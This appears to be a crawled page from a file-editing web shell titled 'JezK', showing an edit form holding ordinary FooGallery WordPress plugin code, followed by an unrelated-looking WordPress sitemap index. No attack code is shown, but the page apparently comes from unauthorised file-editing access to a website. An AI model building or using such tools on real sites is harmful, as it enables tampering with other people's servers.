
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class-command-palette.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit;
}

/**
 * FooGallery Command Palette Integration
 *
 * Registers FooGallery galleries in the WordPress Command Palette
 * (Ctrl+K / Cmd+K), introduced in WordPress 6.3 via @wordpress/commands.
 *
 * Adds:
 *  - A dynamic loader that searches galleries by title as the user types.
 *  - A static &quot;Add New Gallery&quot; command always present in the palette.
 */

if ( ! class_exists( &#039;FooGallery_Command_Palette&#039; ) ) {

	class FooGallery_Command_Palette {

		public function __construct() {
			add_action( &#039;admin_enqueue_scripts&#039;, array( $this, &#039;enqueue_assets&#039; ) );
		}

		/**
		 * Enqueue the command-palette script on all wp-admin pages.
		 * Bails out gracefully on WordPress versions prior to 6.3 that do not
		 * ship the @wordpress/commands package.
		 */
		public function enqueue_assets() {
			// @wordpress/commands was introduced in WordPress 6.3.
			// If the script handle is not registered we are on an older version.
			if ( ! wp_script_is( &#039;wp-commands&#039;, &#039;registered&#039; ) ) {
				return;
			}

			wp_enqueue_script(
				&#039;foogallery-command-palette&#039;,
				FOOGALLERY_URL . &#039;js/foogallery-command-palette.js&#039;,
				array( &#039;wp-commands&#039;, &#039;wp-data&#039;, &#039;wp-element&#039;, &#039;wp-i18n&#039; ),
				FOOGALLERY_VERSION,
				true
			);

			if ( function_exists( &#039;wp_set_script_translations&#039; ) ) {
				wp_set_script_translations( &#039;foogallery-command-palette&#039;, &#039;foogallery&#039; );
			}

			wp_add_inline_script(
				&#039;foogallery-command-palette&#039;,
				&#039;window.FOOGALLERY_COMMAND_PALETTE = &#039; . wp_json_encode( $this-&gt;get_js_config() ) . &#039;;&#039;,
				&#039;before&#039;
			);
		}

		/**
		 * Returns the configuration object passed to the JavaScript layer.
		 *
		 * @return array
		 */
		private function get_js_config() {
			$post_type_object = get_post_type_object( FOOGALLERY_CPT_GALLERY );

			$edit_url = &#039;&#039;;
			if ( $post_type_object &amp;&amp; ! empty( $post_type_object-&gt;_edit_link ) ) {
				// _edit_link contains a printf-style %d placeholder for the post ID.
				$edit_url = admin_url( $post_type_object-&gt;_edit_link . &#039;&amp;action=edit&#039; );
			}

			return array(
				&#039;editGalleryUrl&#039;   =&gt; $edit_url,
				&#039;addNewGalleryUrl&#039; =&gt; admin_url( &#039;post-new.php?post_type=&#039; . FOOGALLERY_CPT_GALLERY ),
				&#039;galleryName&#039;      =&gt; foogallery_plugin_name(),
			);
		}
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
